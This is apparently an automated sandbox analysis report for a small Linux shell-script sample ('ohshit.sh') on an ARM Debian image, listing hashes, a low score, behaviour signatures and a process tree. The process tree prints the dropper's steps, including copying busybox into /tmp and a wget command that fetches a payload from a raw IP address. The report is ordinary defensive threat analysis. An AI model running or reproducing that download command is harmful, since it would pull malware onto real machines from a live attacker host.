ae6528be474ea7e0a07f30100b64b8b0146b673bd0bafbd200490f0b2155e5fc | Triage™

Analysis

max time kernel
132s
max time network
150s
platform
debian-9_armhf
resource
debian9-armhf-20250619-en
resource tags

arch:armhfimage:debian9-armhf-20250619-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
04/12/2025, 06:32

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
ohshit.sh
Size 3KB
Sample251204-hatb6abz7b
SHA256 ae6528be474ea7e0a07f30100b64b8b0146b673bd0bafbd200490f0b2155e5fc
MD5 7246ce795caea2cad9dcc42549721b2c
SHA1 e7f8d5fa19cf1f0ceb18f77bbb479b4e2102dbd7
SHA512 4ea28aaf001425a9aefefd8b0b7d4b4a71acf5f60618ef3d56a149db539d47f44c40ed2d56c7814de5dff9ffa66cb95b92dc48d5874d3c942d76b3892db9be4a
MD5 SHA1 SHA512

Score

3^/10

discovery

Malware Config

Signatures

Reads runtime system information 1 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/filesystems	cp

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/busybox	cp

/tmp/ohshit.sh
/tmp/ohshit.sh
1⤵
PID:644
- /bin/cp
  cp /bin/busybox /tmp/
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:650
- /usr/bin/wget
  wget http://103.77.241.151/HideChaotic/ub8ehJSePAfc9FYqZIT6.arc
  2⤵
  PID:657

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

busybox

Path /tmp/busybox
Size 507KB
SHA256 2dd1fbb8052a89f40c2e9af115d31346e554ee746e9c7a97d651e43e0609df88
MD5 e588bcf03ae78237b58899d35f50c570
SHA1 2194732ebbefbc27bdae876c77f2a97a20175710
SHA512 904d906ec73ba5f828ee453acfceaf60d07b337a4baf1a88a2edba8d4568e4a3ceae2e24116af0a5b9c8ad194faa72abb62a72d30ae236b0852827c7bf896555
SSDEEP 12288:KKCUYnMx/qAPbFabrimkuc+GnCIRki2jEyfbPxG3:KKqKqsbF2ZjGIrPfbPxG3
MD5 SHA1 SHA512 SSDEEP

Submit Download